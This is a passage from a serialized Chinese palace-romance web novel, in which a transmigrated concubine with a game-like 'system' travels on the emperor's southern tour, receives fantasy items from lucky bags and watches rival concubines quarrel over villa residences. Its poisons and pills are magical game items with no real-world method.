贺云徽皱着眉,“不然,朕喂你?” 这话一出,姜舒月眼睛直接睁开了。 连贺云徽自己都有点惊讶,自己是否对姜舒月太过宠溺。 但看着人小小一个裹在薄衾里,期待地看着自己。 又觉得,一次两次的,也不会怎么样。 “真的?”她应该是后宫中,第一个享受这种殊荣的妃子了吧? “朕难道还会骗你不成?” 可没少骗。 姜舒月只敢心里嘀咕一下,没敢说出来。 还记着那会他让自己输光了的事。 等到宫人将膳食摆好之后,扶风正欲上前布菜,贺云徽却摆摆手。 抱着人坐在了饭桌前。 今日的晚膳比较清淡,但下面的人知道姜舒月喜欢吃河鲜海鲜,所以上的菜里大部分都有这些鲜物。 贺云徽舀了一勺虾仁粥,递到她嘴边。 扶风和福安惊讶地互相看了一眼,又低下头来。 姜舒月喝了粥,尘封的胃像是被打开了开关。 一下子馋虫都被勾引了出来。 “陛下,嫔妾还想吃蟹子。” 贺云徽手一顿,本来想夹青菜的筷子一拐,夹了一筷子清蒸蟹。 嘴里还念叨,“这蟹子寒凉,莫要贪嘴。” 姜舒月不管那些,眼睛直勾勾地盯着他手中的蟹子。 “嫔妾就吃一点~” 手不知道什么时候伸了出来,光溜溜的缠上了他的手臂。 “乱动什么。”轻拍了一下她的手,贺云徽加快了手里的动作。 蟹肉被干净地剔了出来,放在骨碟上白嫩嫩的一堆。 姜舒月吞了吞口水,“再加点姜醋汁。” “使唤人倒是顺嘴。”贺云徽又在蟹肉上淋上酱醋汁。 她笑嘻嘻地。 反正他自己愿意伺候人,又不是自己要求的。 姜舒月心急,立刻松开了手,想要自己拿筷子。 谁知贺云徽轻巧一避,躲了开来。 修长的手拿着筷子,一口一口夹着喂给了姜舒月。 她乖巧得不行,倒叫贺云徽得到了喂食的乐趣。 这边吃完蟹子,又给人剥了只虾。 福安暗自心惊。 陛下对姜嫔娘娘的宠爱,比之前有过之而无不及啊。 不是,那之前两人是为什么闹别扭啊? 合着这几个下人都是两人play中的一环是吗? 好不容易吃完了一餐,姜舒月还吃撑了。 贺云徽看她小肚子都鼓出来一块了。 这也不能让她就这么睡下。 唤了扶风静玉进来更衣。 拉着百般不情愿的姜舒月,去了甲板上面溜达消食。 站在船上,已经能看到荔平郡内城的热闹了。 “这么晚了竟然还在做工吗?” 姜舒月有些惊奇。 不都说古人日出而作日入而息吗? 怎么荔平郡这夜半时分,整个内城都还灯火通明的。 也是姜舒月刻板印象了。 只有农民,才是日出而作日入而息。 城里的人们,尤其是这样相对繁华的城镇,百姓的夜生活都很是丰富。 更别说那通宵都在营业的花楼、赌坊。 王咏思已经在长史这个位置上太久了。 但是无奈他确实才能平平,又无甚强硬的靠山。 汲汲营营十几年,还在荔平郡打转。 好不夸张的说,这长史府,他闭着眼睛都能在里面畅通无阻。 还有两天才是双星节,王咏思早已提前知道,皇上会路过荔平郡,并且在荔平郡停留几天。 为了能够让皇上看到,这荔平郡在他的治下民生熙然,百姓安居乐业。 更是发了命令,让上下的人都卖力的干活。 以极快的速度盖起了一座观景楼,名为观星楼。 “大人,”门外快步进来一人,单膝跪下行礼,“皇上的龙船已靠岸!” 因着这几日要盯着他们做工,王咏思每日都要子时之后才睡。 算着明明还有几个时辰就到的龙船,却比预计的时候早了不少。 “什么?!” 他惊得一下子站起,动作太大,碰到桌子将茶水晃了出来。 “那皇上可有下船?” 那人回道:“未曾,船上能看到的窗户都未有烛光,想来贵人们都在休憩。” 听闻贺云徽没有要下船的意思,王咏思放下心来。 “那就好那就好,你吩咐下去,观星楼务必要在明日卯时前完工!做不到的,休怪本官不留情面!” 这是他向上爬最好的机会。 他不允许任何人破坏! 第82章 住在内城 本来是要消食的,但是姜舒月没走几步就腿软。 贺云徽只好将人带在身边,用自己的力气,领着人溜达。 “都怪陛下。”她一边走一边捏贺云徽腰间的肉。 贺云徽是练武之人皮糙肉厚的,自然是不怕她捏。 甚至还因为腰部的肉过于紧实,姜舒月捏了好几次都没捏动。 把住她乱动的小手,贺云徽无奈的说:“怎的这般不老实。” 姜舒月又是那等得了便宜还卖乖的人,最后实在无法,只好结束了消食。 拉着人回到了房内。 进行了无法言说的消食。 姜舒月被折腾得不清,又是睡着的时候被人抱起去清洗了一番。 若是还在宫里,贺云徽大概只能再睡一会就要起来去上朝了。 但是如今在南巡,倒是省了这一步骤。 也让这位辛勤的帝王也享受了一把君王不早朝的快乐。 这一觉,便和姜舒月一起,睡到了卯时。 睁眼的时候,姜舒月还睡得香甜。 贺云徽看了会她,也不想将人叫醒。 只亲了亲她的脸颊,让人将今日要看的奏折搬来。 “让银翎去看看,城内可有合适的地方,”贺云徽压低着声音,“留在荔平郡这段时间,就住在城内。” 福安得了令便去找了银翎。 贺云徽收回放在姜舒月身上的目光,翻开了今天的第一本奏折。 在睡梦中的姜舒月,隐约听见有人在搬运东西。 动静有些大。 姜舒月皱了皱眉,扶风一看,立刻上前掀起幔帐。 “娘娘,可要起了?” 姜舒月在薄衾里伸了个懒腰,点头。 抬头往旁边一看,贺云徽大个正一瞬不瞬地看着自己。 “陛下?”她有些诧异,“您怎么还在?” 贺云徽呵了一声,“怎么,看见朕不好?” 姜舒月斜了他一眼,“您明知道嫔妾不是这个意思。” 扶风抿着唇,生怕自家主子把陛下惹不高兴了。 但是她没想到的是,陛下竟然一点要生气的迹象也没有。 反而还,笑眯眯的? 正说着话呢,外面就又响起了搬东西的声音。 “外面这么热闹,是干嘛呢?”她伸出一个头,往外探着。 真是一生爱看热闹的华国人。 到了书里,这个习惯也不是说改就能改的。 “这几日我们去城内居住。” 贺云徽不知什么时候坐到了她身边。 手里捏着她的头发把玩着。 她的头发又黑又密,也不知用了什么方法养护,乌黑柔顺的,还有一股茉莉花香。 “去城内居住?”她没多想,只觉得到时候出来逛街肯定是比在码头方便的。 “嗯。” 他右手慵懒地搭在床上,左手随意的架在膝盖上,撑着半边侧脸。 今日打扮又很是随意,一袭青衫上领微微敞开,露出线条分明的胸膛。 一双幽深的黑眸此刻温柔似水,看着姜舒月梳洗更衣。 “那我们的东西呢?”姜舒月还想着要不要将麻将也搬去。 “小方子和小路子已经搬去了一些物品,”扶风理了理她的衣服,“还有一些回头随用随时回来取。” 她点点头,用青枝沾了盐刷牙。 “也不必拿太多东西,之后有什么需要的,再买就行,城内也方便。” 荔平郡也算繁华,寻常物品都可以买到。 “陛下。”福安在门口躬了躬身,“都收拾的差不多了。” 这次要在城内住的宅子,是原荔平郡的前任长史的宅子。 这人自上任以来不停地搜刮民脂民膏。 除了被他挥霍的钱,剩下的便是让他用来盖了一座堪比王府的府邸。 里面甚至连柱子,都是用的汉白玉作为材料。 府内说是金碧辉煌,雕梁画栋也不为过。 也正因为太过于奢靡和草菅人命,被人一纸御状告上了京都。 一开始贺云徽还疑惑这事怎么听着这么耳熟。 后来才反应过来,在他还是皇子的时候,就听过这件事情。 先皇得知之后大怒,当即将那长史判了个凌迟。 家产全部充公。 据说抄家的时候带出来的银子,足足有五百万两之多。 这宅子也充作了皇家财物,还派了人守着。 这次南巡贺云徽本也没想起这事,直到银翎来报,自己才想起,确有这么一回事。 倒是方便了自己。 但是搬完了东西,还有其他的事情要忙。 福安又催了一遍,贺云徽才动身。 姜舒月则说道:“陛下去忙吧,一会嫔妾在甲板上等您。” 他抱了抱姜舒月,心中喟叹。 “好,安置好之后朕就去看你。”唇贴着她的额头,便放开了人。 “嗯,那嫔妾就等您来了。” 打扮好之后姜舒月便去往甲板之上。 随行的妃嫔差不多都到场了。 只差了一个尹宝林。 扶风贴在她耳边说:“尹宝林怀孕,陛下怕人多冲撞了她,先一步将尹宝林送去别苑了。” 她恍然地点点头,怪不得没见到人。 岳容华看见姜舒月过来之后,从鼻子重重地哼了一声。 立刻将身子转过去,背对着她。 把对姜舒月的不喜都写在了脸上。 姜婉清看在眼里,没说别的,只关心了几句姜舒月的身体。 询问她有没有好好用药。 看来她并不知道,胡太医将补身体的药方子换了。 看她柔顺的应着,姜婉清心里那点不虞也往后放了放。 兰昭容手里牵着宁华公主,面上带着浅浅的微笑。 陈婕妤一如既往般的傲娇,见姜舒月看向自己,扬了扬下巴轻哼一声。 看着倒像是一只傲娇的猫咪。 还怪可爱的。 方静姝站在人群最后面,看见姜舒月也只是招了招手。 没有走上前去。 剩下安常在和言御女,两人存在感更是不高。 规规矩矩的给她行了礼,就安静的站着。 王咏思领着一众官吏站在岸边,等候贺云徽的大驾。 但荔平郡也是几十年来头一次有皇帝驾到,岸边也都围满了来看热闹的百姓。 王咏思见状急忙调派了更多的人手,来维持秩序。 又过了一会,贺云徽便从船坞中走出。 一袭玄色锦袍,锦缎之上,以金线绣就金龙腾云之姿,龙身蜿蜒,鳞爪飞扬。 腰间束一条明黄色玉带,玉带之上,雕有精致的瑞兽纹饰。 头上戴着玉质束发冠,冠身两侧,以浮雕工艺刻着腾飞的祥龙,龙身蜿蜒矫健,龙眼处镶嵌着两粒圆润的东珠。 姜舒月很少看他穿玄色。 今日这身装扮,倒让她眼前一亮。 沉重的舷梯缓缓落下,贺云徽走在最前面,从甲板上走下。 “皇上万岁,万岁,万万岁——” 百姓看到了活的皇上,都沸腾了, 没有人指挥,纷纷下跪高呼。 王咏思按耐住激动的心情,恭敬的下拜。 “吾皇万岁,微臣荔平郡长史王咏思。” 听到他的名字,贺云徽挑了挑眉,显然还记得他写的那份奏折。 “微臣已先行派人前去别院扫洒,一应膳食也已备好,还望皇上不要嫌弃。” “嗯,都起来吧。” “谢皇上,”王咏思起身,跟身后的官吏让了一个空间出来,“马车已备好,请皇上和各位娘娘移步。” 马车虽比不上京都的,但也算宽敞。 贺云徽先动身上了最前面那辆马车,随后妃子们也在宫人的搀扶下,陆续上了后面的马车。 摇摇晃晃半个时辰后,终于到了别苑。 别院位于整个荔平郡的东南方向,占地十分的大。 朱红大门厚重古朴,门首上方,高悬一块黑底金字匾额,上书“皇家别苑”四字。 第83章 庭院争夺 龙船再怎么华丽,终究比起庭院来还是差了一些。 这段时间一直在船上待着,哪怕如今下了船,姜舒月还有一种在江上飘着的感觉。 晃晃悠悠的。 一行人下了马车,穿过抄手游廊,来到了别苑的中堂。 这里还有一个姜舒月很久没见到的人。 尹宝林。 本来她先到了别苑,可以先去安置一番。 但是她偏要在这里等着贺云徽。 不知是真的想要看到他,还是单纯想在众人眼前炫耀一番。 因为王咏思跟着一起来了,贺云徽吩咐了姜婉清和兰昭容安排其他妃子的住处,自己便和王咏思去了别苑的书房内议事。 贺云徽的住所必然是在前院的,于是离前院最近的丹桂苑则成了最热门的住所。 要说这当中,谁最想要丹桂苑,那必然是尹宝林和岳容华二人。 眼看着离贺云徽最近的院落都住了人,这二人也有些着急了。 “婉妃娘娘,”尹宝林一手扶着腰,一手柔柔弱弱地捂着嘴轻咳两声,“妾身如今身怀皇嗣,这别苑中几处院落都又小又偏,就数丹桂苑看着清静些,可否让妾身住在这里?” 她如今已经四个月的身孕,肚子略有显怀了。 姜婉清有心想要给姜舒月安排在丹桂苑。 但尹宝林这话一说,她脸上的笑一下子就淡了下去。 “尹宝林,陛下已有口谕,”她漫不经心地扫过尹宝林的肚子,“已经将你安排在玉兰庭了。” 玉兰庭?那岂不是离陛下很远? “不可能!”她嗓音尖利,姜婉清被刺得眉头一皱,“陛下怎么会让妾身去那么偏的院落?!” 姜婉清眼神彻底冷了下来,“尹宝林难道认为,是本宫故意将你安排在那?” 尹宝林回过神来,嗫喏着:“妾、妾身不敢。” 姜婉清不耐烦应付她,下令的又不是自己,想找麻烦去找贺云徽去。 “陛下今早就已吩咐下去,若你不信,自去问陛下吧。” 被这一出一打岔,岳容华也不敢张嘴要住丹桂苑。 老老实实地去了略靠后的芙蓉居。 方静姝和安常在住的相邻,分别是晴雪苑和海棠居。 陈婕妤住琉璃局,言御女住菱花斋。 而丹桂苑最终是被姜婉晴安排给了兰昭容。 因为兰昭容带着宁华公主,丹桂苑又比较大,孩子也能活动得开。 她眼神看向宁华公主。 小小的一团,乖巧的跟在兰昭容身后。 姜婉清的手抚上自己的肚子,眼神落寞。 若是她的孩子还在…… 而姜舒月则被姜婉清安排在了右侧的秋水居。 令姜舒月意外的是,姜婉清自己却住到了离岳容华居住的芙蓉居不远的梧桐苑。 好在别苑够大,即便是宋滢和淑妃都来,也可以住得开。 所有人都离开之后,尹宝林还沉浸在自己的心情里,默默地垂泪。 豆蔻莲心一左一右得扶着她。 “娘娘,怎么会,”豆蔻有点气不过,“陛下怎么会将您安排到那么远?” “是不是有人跟陛下说了什么?” 尹宝林唰地抬起头,“你是说,有人故意在陛下面前,让我去了最后面?” 豆蔻越想越觉得有可能,“奴婢不敢说,娘娘如今怀有身孕,便是全后宫的敌人。” “难不成……又是姜舒月?” 已经到了秋水居的姜舒月打了一个喷嚏。 奇怪,是谁在念叨她? 123心说,除了尹宝林,还能有谁。 莲心一直没有开口说话,她已经越来越看不懂尹宝林和豆蔻了。 从来没有人想要害过她。 陛下有多重视这一胎,尹宝林自己难道不清楚吗? 甚至为了让她能安心用膳,在禁足中都会来看她。 “我要去找陛下!”尹宝林说着就要冲出去。 豆蔻连忙拉住人,“娘娘不可!” 她疑惑地问道:“为何?” “娘娘,您想想,皇上如今事务繁忙,南巡期间要处理诸多政务,还要顾及随行众人。您此时贸然前去,万一冲撞了皇上与大臣议事,那可是犯了大不敬之罪呀。不如暂且忍耐,等皇上忙完这阵,定会主动来看您,到时候您再哭诉委屈,皇上必然更加心疼。” 如此一来,陛下可能会怜惜娘娘,让娘娘住得靠近前院一些。 尹宝林觉得这是一个好方法,“还是你懂我的心意,走,我们去玉兰庭。” “朕一路南下至此,荔平郡如今看来,在你治下十分繁华,你做得很好。” 王咏思内心一喜。 果然,这一切没有白费。 他径直跪下,朝贺云徽行了一个大礼。 “臣不敢居功,全是职责所在。” “皇上,您一路舟车劳顿,明日申时微臣等略备薄宴,为皇上和娘娘们接风洗尘。” 王咏思有些迫不及待,想要给贺云徽展示他的杰作。 “双星节将至,明日观星楼也已备好,只等皇上与各位娘娘亲临。” 双星节为期五天,当时也是为了来体察民情,才决定在这停留几天。 闻言便点了点头,“你有心了。” 这话一出,他就知道贺云徽这是同意赴宴了。 “谢主隆恩,那微臣就不打扰皇上休息,微臣告退。” 秋水居算的上是整个别院内,比较宽敞的了。 虽然不比丹桂苑,却也十分够住。 还有几个偏房。 房间都已经有人来打扫过了,很是干净。 姜舒月里里外外看了一眼,也十分满意。 随后想起今晚贺云徽要过来,便吩咐下去,让膳房的人做些贺云徽喜欢吃的菜品。 不然每次都让他迁就自己的口味,也确实是有点欺负他了。 扶风揶揄地看了一眼姜舒月,转头高兴地出去了。 姜舒月还一头雾水的,“她怎么这么开心?” 另外两个丫鬟抿唇,一副憋笑地样子。 奇奇怪怪的。 小方子不亏是搞情报的小能手。 立刻进来跟姜舒月说了这一天他打听到的事情。 “娘娘,那王大人明日在朝观星楼设宴,陛下已经答应了要带着娘娘们赴宴了,”说着还神神秘秘地压低声音,“听说宴会上还有青楼花魁来献舞。” 青楼花魁? 姜舒月眼睛亮了亮。 这还是她穿书以来,第一次有机会近距离看到花魁呢。 “那花魁是否真如人们说的,是最好看的女子?” “奴才也没见过花魁,”小方子不好意思的挠挠头,“既然叫花魁,那必然是好看的吧?” 扶风正好进来听到,还想斥责小方子什么都跟姜舒月说,又看姜舒月一副还想听的样子。 立马出声:“娘娘!您还问呢,难道您就不担心吗?” 姜舒月闻言愣了愣,随即便猜到扶风的想法。 “担心什么?担心陛下对她另眼相待?” “自然是了。”她虽然也没见过花魁,但是也总能在姜府的后院中,听到几个小厮谈论京都花魁。 言行之中,都是对那花魁的向往之色。 陛下虽然后宫佳丽三千,但是天底下的男子,都是一样的,万一被那花魁勾走了怎么办? 姜舒月勾了勾唇。 古代对男子多有宽容,就算是家中已有妻室,去寻花问柳,别人也只会夸他风流不羁。 哪会说他道德败坏呢? 世间只对女子,多有苛责罢了。 “先不说陛下是否对她另眼相待,就算陛下真的看中了她,将人收入后宫,也不是我能干涉的,你明白吗?” 第84章 开启锦囊 可是……陛下待娘娘是不一样的! 扶风有心想要说,但是嘴巴张了张,却什么都没说。 是啊,陛下就算再对娘娘再好,毕竟也是男人。 “只要陛下喜欢,没有什么是不可以的。” 她需要做的,就是在贺云徽来找她的时候,好好与他相处罢了。 顺便再完成系统给的任务。 “好了,我累了,我想歇会。” 姜舒月早上没有睡够,这会已经有些困倦了。 扶风却以为是自己说错了话,才会让姜舒月难过得想要自己静静。 心里也有些懊恼,自己怎么就学不会圆滑一些呢。 本来想躺着睡一觉。 一躺下却毫无睡意。 翻看了一下系统里的包裹,突然发现自己还有好几个锦囊没开过。 端王的刺杀不知道什么时候会发生,先开锦囊看看,有没有到时候能用得上的道具。 说干就干。 姜舒月索性坐了起来。 【123,我要开锦囊。】 锦囊就跟盲盒一样,姜舒月从来没有抽中过隐藏款。 甚至都没抽中过自己喜欢的款。 【好的宿主,现在开启吗?】 123也不知道锦囊里会出现什么道具,它跟幸运大抽奖一样,都是看运气的。 又看了看姜舒月的面板。 那幸运值只有可怜的2点,还是两个月前做任务时候的奖励。 【宿主这次不需要净手焚香祷告了吗?】 看姜舒月已经迫不及待的样子,它只好出声来提醒一下。 【当然要了。】姜舒月心想好险,差点忘了。 “老天爷,可怜可怜我吧,让我开出好道具,求求了。” 12个锦囊在系统空间散发着快来开我的气息,姜舒月拜完各路神仙之后,手一点。 锦囊抖动起来。 【恭喜宿主获得2个金色道具: 金·傀儡铃音 效果:摇响时指定一人说出真心话; 金·玲珑九转续命丸 效果:服用后可起死回生,即便是受了致命重伤,五脏六腑俱碎之人,只要尚有一丝气息,服下此丸,便能逐渐恢复生机。 2个紫色道具: 紫·云霓共鸣佩 效果:佩戴后,与陌生人交谈时,对方会幻觉你与TA有相同身世、爱好或执念,共情拉满; 紫·凝香玉骨散 效果:慢性毒药无色无味,混入食物或茶水中难以察觉。服用者起初并无异样,但随着时间推移,骨骼会逐渐变得如同脆玉,稍微用力便会骨折,且每骨折一次,身体便愈发虚弱,最终在无尽的痛苦中死去; 5个蓝色道具 蓝·假孕丹 效果:服下后脉象如孕,一月后“小产”可陷害他人; 蓝·避子手镯 效果:佩戴后永久避免怀孕,且太医诊脉显示“体质虚寒,难以有孕”; 蓝·迷心散 效果:混入酒水或饭菜中,服用者半个时辰内便会陷入昏迷; 蓝·玉髓生肌膏 效果:涂抹在伤口上,能迅速止血、止痛,促进伤口愈合,且不会留下疤痕,只需三次,便可恢复行动,无后遗症; 蓝·避毒香囊: 效果:以特制香料和珍贵草药填充,能抵御常见毒药的侵害; 3个绿色道具 绿·劣质迷香: 效果:用普通香料和一些具有轻微麻痹神经作用的草药混合制成,点燃后散发刺鼻气味,能使人短暂眩晕,但效果不持久,且容易被人察觉; 绿·普通金疮药: 效果:常见的疗伤药物,只能处理一些轻微擦伤、刀伤; 绿·霉运香囊 效果:会让佩戴者走路踩裙摆、喝茶呛水,适合“赏赐”给竞争对手。】 这次姜舒月运气不错,开出了两个金色两个紫色道具。 虽然还是蓝色绿色更多一些,但是没关系,这都是不用花积分的。 尤其是没有再开出什么一盆花这类的道具。 姜舒月很满意。 【我这手气,也是见好了。】 她美滋滋地看着系统仓库里那堆道具。 把刚抽到的避子手镯戴在身上。 和姜舒月之前吃过的避子药,形成了双重保险。 手镯是一个白玉的,戴在手上温温润润的,衬的她的手更加白嫩。 开完了锦囊,这心里也算是没有念想了,姜舒月躺下眼睛一闭,睡了过去。 “这玉兰庭如此破败不堪,”尹宝林还未进入到院子里,就已经不愿再进去了,“怎么能住人?” 轻轻地用帕子捂着了鼻子,眉头紧锁着。 莲心打眼瞧着,这院子是小了一些,但是却不像她说的那样。 破败不堪。 只是尹宝林现在根本不听自己说话,她也没必要上前去自讨没趣。 站在一边,低着头,看着自己的脚尖。 “我不住这。”她如今气性越发的大了。 稍有些不如意就发脾气。 “娘娘,您忘了咱们刚才说的吗?”豆蔻搀扶着她轻轻安抚,“您先委屈两天,陛下来了也好说个说头。” 尹宝林心里有些不情愿,这个环境比起自己家中还要差一些。 在豆蔻的劝说下,好歹是往里面迈了一步。 有了之前丹桂苑作为对比,尹宝林是怎么看这里怎么犯膈应。 一双眼睛里慢慢升起怨怼。 手中的帕子狠狠一甩,“瞧瞧这院子,陛下怎么忍心给我安排在这!还如此偏僻,我就算想见陛下一面都难。万一,万一陛下想不起来见我,那我岂不是白白在这待着?” 豆蔻也有点心累,但还是耐着性子,试图安抚她。 “娘娘,这院子也还算干净整洁,虽然小了一些,倒也很是清幽。娘娘如今怀着孕,何必上前头和其他人争呢。咱们怀了孕,那就是特别的,陛下再怎么喜欢姜嫔娘娘,也不会忘记您,您说是不?” 尹宝林冷哼一声,“就算你说得对,但我怀着孕应该住在离陛下最近的地方,那兰昭容凭什么……” 眼见尹宝林越说越不像话,豆蔻只能以下犯上,捂住了她的嘴巴。 “奴婢的好娘娘,可不能乱说,小心隔墙有耳!” 她不耐烦地推开豆蔻,神情恹恹,“左右陛下不看重我肚子里的孩子,才叫我们母子住在这里,又怎么会有人听到。” 豆蔻现在是真怕了尹宝林这张嘴,“娘娘!您千万不能这么说,让陛下知道了肯定会生气的。” 直费了她九牛二虎的劲,才将人安抚好。 仿佛被抽走了精气神,整个人都萎靡了。 又听得尹宝林在里屋喊她,她精神一震就往里走。 走之前还吩咐莲心再打扫一遍院子。 其实,玉兰庭已经被王咏思的人收拾得很干净了。 但尹宝林就是觉得脏,那她就需要收拾。 连着她带来的小太监一起,慢慢扫洒着。 如今要承受尹宝林那个臭脾气的人又不是她,莲心乐得自己在外间伺候。 “参见陛下。” “起来吧,你家娘娘呢?”贺云徽环视一圈,没在院子里看到姜舒月。 “回陛下,娘娘在内室中小憩。” 扶风小心地回道,娘娘今日睡得沉,她进去两趟都没能叫醒她。 还睡? 贺云徽皱了皱眉,立刻推了门进去。 福安几个都有眼色的待在门口。 绕过雕花屏,珠帘之后床榻之上,隆起了一个小鼓包。 待走进一看,女子睡颜安宁,身上盖着一个薄毯,眉眼舒展,呼吸清浅。 睡得香甜,连毯子都快从身上滑落了都不知道。 本想吵醒她,但是进来看到她睡得这么沉,竟也不忍心了。 罢了,多睡一会而已。 贺云徽合衣在她身边躺下,伸手将人拢了起来,圈在怀里。 闭上眼,放慢了呼吸。 “唔……” 怎么越睡越热了? 第85章 不必惯着 姜舒月有点困难地睁开眼睛。 四周静悄悄的,听不见一点声音。 还很昏暗。 身边不时有阵阵呼吸声。 她转过头去,正对上贺云徽的脸。 他侧躺在姜舒月的身侧,一只手在姜舒月的脖子下面垫着,另一只手随意地搭在她的身上。 属于贺云徽身上的龙涎香的气味,毫无保留的萦绕在她鼻尖。 他的睫毛很长,鼻梁高挺,唇色好似上了唇脂,看起来很好亲。 不,他就是很好亲。 他长得太好看了。 姜舒月想着,比自己见过的所有电视上的明星,都还要好看。 她慢慢将自己转了过去,面对着贺云徽。 一只手臂撑起,托着脸就这样看着贺云徽的睡颜。 贺云徽并没有深睡,只是难得有这么安静的时候,想要闭目养神一番。 姜舒月的每一个细微的动作,都逃不开他的感知。 过了一会,她的手指悄悄抬起,指尖快要触及贺云徽的脸时。 贺云徽先一步抬手,抓住了她想要作乱的手。 “陛下?”她惊讶地瞪大眼睛,“您没睡?” 贺云徽没说话,只是把她用力往怀里带。 “月儿刚才想干什么?”嘴唇贴着姜舒月的耳朵,懒散的嗓音里掺着一些沙哑。 听得她的耳朵上的绒毛都要竖起来了。 白嫩的手抵在他的胸前。 姜舒月不用抬眼就看到了贺云徽的喉结。 她见过那衣服下面的躯体,猿臂蜂腰,薄肌遒劲。 吞了吞口水,伸手,轻轻碰了一下。 喉结上下滚动。 她又碰了一下,喉结再次滚动。 “你是想让我们都出不去这个房间吗?”贺云徽抱着她,深呼吸了一下。 她讪讪的收回手,转移话题,“陛下您什么时候来的,您饿吗?” 贺云徽从鼻子里哼了一声,“还以为姜嫔娘娘早就把朕忘得一干二净了。” 姜舒月讨好地亲了亲他的喉结,“怎么会呢陛下,嫔妾还吩咐了膳房,给您准备着您爱吃的东西呢。” 贺云徽身体紧了紧,大手拍了一下她的屁股,“别乱动。” 姜舒月感受到腹部抵了一个火热的东西。 顿时也不敢再乱动。 门外守着的人终于听到内室传出声音,扶风轻轻地敲门。 “陛下、娘娘,可以要起了?” 她赶紧喊道:“进来。” 看她一副如临大敌地样子,贺云徽轻笑了声。 翻身便从床上坐起。 “扶我更衣。” 待她更衣出来之后,贺云徽正坐在外间听福安回禀着什么。 “婉妃娘娘差人来问陛下,说是准备在花厅那摆膳,想要邀您和几位娘娘一同用膳。” 贺云徽手中扳指转动,眼角余光看到了姜舒月的身影。 抬手对她招了招手。 她乖巧地走过来站在身侧,“婉妃设宴,月儿可想去?” 姜婉清设宴,点明了要请所有人。 自己这个亲妹妹怎么能不去? “姐姐设宴,自是要去的。”正好她也有些饿了。 “行,那便去吧。” 贺云徽对着福安挥挥手,让他去安排。 “寻常家宴罢了,去了若是有人寻你不痛快,不必惯着。” 他突然没头没尾地说了一句。 姜舒月有些懵懂地看着他,“陛下这是何意?是有人想要找嫔妾麻烦吗?” 能让他这么说的,姜舒月想来想去,怕是只有尹宝林了吧。 自她在船上被禁足之后,自己确实没有再跟她交锋过了。 不知道过去这么长时间,她是否有长进了? 还是蛰伏起来,想要给自己致命一击呢? 姜舒月胡思乱想中,被贺云徽牵着出去了。 宫人们在距离10米开外的地方,慢慢地跟着两位主子。 这座别苑当年建的时候,也是花费了一番心思。 整个花园的景致都是极好的。 汉白玉小径蜿蜒,两侧繁花斗艳。 牡丹雍容,海棠娇柔,连翘似碎金绽满枝。 小径尽头,清池如镜。锦鲤于荷叶间穿梭,荷花袅袅,清香引蝴蝶蹁跹。 池边垂柳依依,柳枝轻抚水面。 太湖石错落,或如兽蹲,或似仙立,石间花草添柔。 远处高丘上,八角玲珑亭朱柱琉瓦,熠熠生辉。 “这里景致倒是不错。”姜舒月也是看过了御花园的人。 这里的也完全不逊色于御花园。 听到她的感叹,贺云徽接过话头。 “当年朕还是皇子时,这里的长史还是一名叫钱正明的人任上。” “原也是无真才实学之人,只因先皇那会……他便做了这荔平郡长史。” “五年,就贪墨了上千万两的银子。” 姜舒月惊讶地捂住嘴,上千万两? 那不是比国库里的钱还多? 这句话她不敢说,但是她刚穿过来的时候,已经大致过了一下剧情。 先皇晚年沉迷炼丹,朝堂之事,皆被他抛诸脑后。 如此一来,朝堂之上纲纪松弛,底下官员见有机可乘。 纷纷结党营私,买官卖官之风盛行。 官职明码标价,有钱者便可平步青云,毫无才德之人亦能在朝堂之上尸位素餐。 真正有抱负、有才能的官员,却因不愿同流合污,而被排挤打压,仕途坎坷。 整个朝堂乌烟瘴气,一片混乱,百姓生活更是苦不堪言。 等到贺云徽登基之后,以雷霆之势,颁下一道道诏令,组建专门的监察机构。 选拔忠诚正直、铁面无私之士充任其中。 同时,下诏广纳天下贤才,于宫廷内外张贴皇榜,鼓励有才德之士毛遂自荐,充实朝堂力量。 以铁腕手段处置涉案官员。 削职为民者有之,抄家问斩者亦有之。 但朝堂积弊已久,要做到完全的肃清,难如登天。 现在看来,他已经做得很好了。 不管在前朝还是后宫。 不是那种糊涂之人,偏听偏信。 “先皇虽然不理朝政,但是他不允许有人公然挑战皇家威信。当即下令将人凌迟处死,九族男的为奴,女的为妓,家产尽数充公。” 那个时候,一个普通的郡长史,都可以贪墨这么多钱。 那朝堂上那些大臣呢? 是否也一样呢? “待朕登基之后,朝堂基本已经是个空架子了。” 父皇不希望贺氏王朝断送在自己手中,在弥留之际幡然醒悟。 一纸诏书,他便日夜兼程的赶回来。 只是临死,也想要为他疼爱的孩子,求一线生机。 她看着贺云徽,总觉得这个时候自己应该要做点什么。 考虑了一会,她用另一只没被牵的手,握住了贺云徽的手。 还轻轻地拍了几拍。 贺云徽侧过头看她,感受她每一次轻拍。 心口像是被一根羽毛拂过,一股轻微的痒薏从心底蔓延至全身。 “月儿。”他突然唤姜舒月。 她自然抬脸望向贺云徽。 只见他轻轻笑了笑,眼眸蕴着潮涌。 瞧着,比这夜色还深。 “怎么了陛……”话未说完,眼前人的脸逐渐放大。 身后跟着的宫人立刻停下脚步,将头低下,不敢抬起。 贺云徽炽热又用力地吻着姜舒月,揽着腰的手好似岩浆般热切。 半晌,终于放开了她的唇。 微凉的鼻尖似是亲昵的蹭了蹭她的。 姜舒月被他紧紧搂着,脖子也染了烫意。 不远处的假山后,一双眼圆睁,眼中满是嫉妒与怨愤。 紧紧攥着手中的帕子,指节泛白。 第86章 暗中偷窥 豆蔻此时想死的心都有了。 都怪自己,说什么一边逛花园一边去的话。 竟然在花园里遇到了陛下和姜嫔娘娘。 两人就那么旁若无人的亲昵。 在豆蔻心里英伟雄岸的陛下,怎么会做出这种事情? 定是那姜嫔恬不知耻,硬要贴上去的。 没错,豆蔻内心深处,一直对贺云徽存在着一份绮想。 她自觉身份低微,又不能叛主。 只好将这份爱恋埋入心底。 尹宝林将牙咬得吱嘎作响,若不是还有一丝理智,怕是这会已经冲上去了。 豆蔻就算再得尹宝林的心,这个时候她也不会没眼色到上前劝说。 贺云徽耳朵微动,借着搂腰的动作遮掩往发出声音的地方,一撇。 假山后面,一双通红的眼睛瞪得溜圆。 只一眼,他就认出来,这是古尹宝林的眼睛。 微微皱了皱眉。 【宿主,尹宝林在假山后面看你们。】 123早就看到了这人,鬼鬼祟祟的。 还玩偷窥这种没品的事情。 姜舒月一顿,【果然是无巧不成书了。】 两个主人公都各自发现了她,也都有默契地不去理会。 一路悠闲地到了花厅。 “参见陛下。” 姜婉清身着云烟细锦衣,站在花厅中。 如玉般立于堂前,肤如白玉,唇如点朱。 “平身。” “见过姐姐。”姜舒月小步上前,屈膝行礼。 姜婉清在人前很是会做好姐姐的模样,立刻上前拉起了她。 